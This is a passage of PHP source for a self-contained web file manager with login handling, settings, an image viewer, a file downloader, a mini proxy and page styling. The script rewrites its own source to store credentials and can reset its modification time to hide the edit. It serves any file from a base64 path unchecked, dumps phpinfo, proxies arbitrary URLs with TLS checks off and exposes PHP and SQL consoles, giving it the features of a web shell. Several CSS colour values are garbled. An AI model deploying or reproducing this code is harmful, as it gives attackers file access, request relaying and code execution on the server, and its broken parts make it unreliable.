				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
